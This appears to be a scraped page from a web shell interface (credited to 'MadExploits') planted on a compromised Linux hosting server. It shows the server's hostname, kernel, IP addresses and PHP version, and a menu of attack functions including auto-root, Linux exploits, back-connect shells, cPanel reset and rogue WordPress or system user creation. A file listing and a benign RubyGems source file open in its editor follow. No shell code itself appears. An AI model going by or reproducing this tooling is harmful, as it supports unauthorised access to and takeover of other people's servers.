Linux vps-4302913.novaexata.com.br 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.14
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
rubygems /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
core_ext
[ DIR ]
drwxr-xr-x
defaults
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
LICENSE.txt
2.27
KB
-rw-r--r--
available_set.rb
1.56
KB
-rw-r--r--
command.rb
13.43
KB
-rw-r--r--
command_manager.rb
5.36
KB
-rw-r--r--
compatibility.rb
1.58
KB
-rw-r--r--
config_file.rb
11.82
KB
-rw-r--r--
defaults.rb
3.06
KB
-rw-r--r--
dependency.rb
7.74
KB
-rw-r--r--
dependency_installer.rb
12.12
KB
-rw-r--r--
dependency_list.rb
5.53
KB
-rw-r--r--
dependency_resolver.rb
14.97
KB
-rw-r--r--
deprecate.rb
1.73
KB
-rw-r--r--
doctor.rb
2.86
KB
-rw-r--r--
errors.rb
2.14
KB
-rw-r--r--
exceptions.rb
2.7
KB
-rw-r--r--
ext.rb
416
B
-rw-r--r--
gem_runner.rb
1.98
KB
-rw-r--r--
gemcutter_utilities.rb
2.91
KB
-rw-r--r--
indexer.rb
12.89
KB
-rw-r--r--
install_message.rb
281
B
-rw-r--r--
install_update_options.rb
5.09
KB
-rw-r--r--
installer.rb
23.04
KB
-rw-r--r--
installer_test_case.rb
4.28
KB
-rw-r--r--
local_remote_options.rb
3.36
KB
-rw-r--r--
mock_gem_ui.rb
1.35
KB
-rw-r--r--
name_tuple.rb
1.96
KB
-rw-r--r--
package.rb
14.38
KB
-rw-r--r--
package_task.rb
3.77
KB
-rw-r--r--
path_support.rb
1.58
KB
-rw-r--r--
platform.rb
5.63
KB
-rw-r--r--
psych_additions.rb
249
B
-rw-r--r--
psych_tree.rb
763
B
-rw-r--r--
rdoc.rb
7.72
KB
-rw-r--r--
remote_fetcher.rb
15.69
KB
-rw-r--r--
request_set.rb
3.67
KB
-rw-r--r--
requirement.rb
6.02
KB
-rw-r--r--
safe_yaml.rb
1.11
KB
-rw-r--r--
security.rb
20.56
KB
-rw-r--r--
server.rb
22.03
KB
-rw-r--r--
source.rb
3.12
KB
-rw-r--r--
source_list.rb
1.22
KB
-rw-r--r--
source_local.rb
1.88
KB
-rw-r--r--
source_specific_file.rb
552
B
-rw-r--r--
spec_fetcher.rb
5.17
KB
-rw-r--r--
specification.rb
68.24
KB
-rw-r--r--
syck_hack.rb
2.07
KB
-rw-r--r--
test_case.rb
28.09
KB
-rw-r--r--
test_utilities.rb
4.03
KB
-rw-r--r--
text.rb
1.72
KB
-rw-r--r--
uninstaller.rb
8.32
KB
-rw-r--r--
user_interaction.rb
11.68
KB
-rw-r--r--
validator.rb
4.08
KB
-rw-r--r--
version.rb
10.5
KB
-rw-r--r--
version_option.rb
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : source_local.rb
require 'rubygems/source' class Gem::Source::Local < Gem::Source def initialize @uri = nil end def load_specs(type) names = [] @specs = {} Dir["*.gem"].each do |file| begin pkg = Gem::Package.new(file) rescue SystemCallError, Gem::Package::FormatError # ignore else tup = pkg.spec.name_tuple @specs[tup] = [File.expand_path(file), pkg] case type when :released unless pkg.spec.version.prerelease? names << pkg.spec.name_tuple end when :prerelease if pkg.spec.version.prerelease? names << pkg.spec.name_tuple end when :latest tup = pkg.spec.name_tuple cur = names.find { |x| x.name == tup.name } if !cur names << tup elsif cur.version < tup.version names.delete cur names << tup end else names << pkg.spec.name_tuple end end end names end def find_gem(gem_name, version=Gem::Requirement.default, prerelease=false) load_specs :complete found = [] @specs.each do |n, data| if n.name == gem_name s = data[1].spec if version.satisfied_by?(s.version) if prerelease found << s elsif !s.version.prerelease? found << s end end end end found.sort_by { |s| s.version }.last end def fetch_spec(name) load_specs :complete if data = @specs[name] data.last.spec else raise Gem::Exception, "Unable to find spec for '#{name}'" end end def download(spec, cache_dir=nil) load_specs :complete @specs.each do |name, data| return data[0] if data[1].spec == spec end raise Gem::Exception, "Unable to find file for '#{spec.full_name}'" end end
Close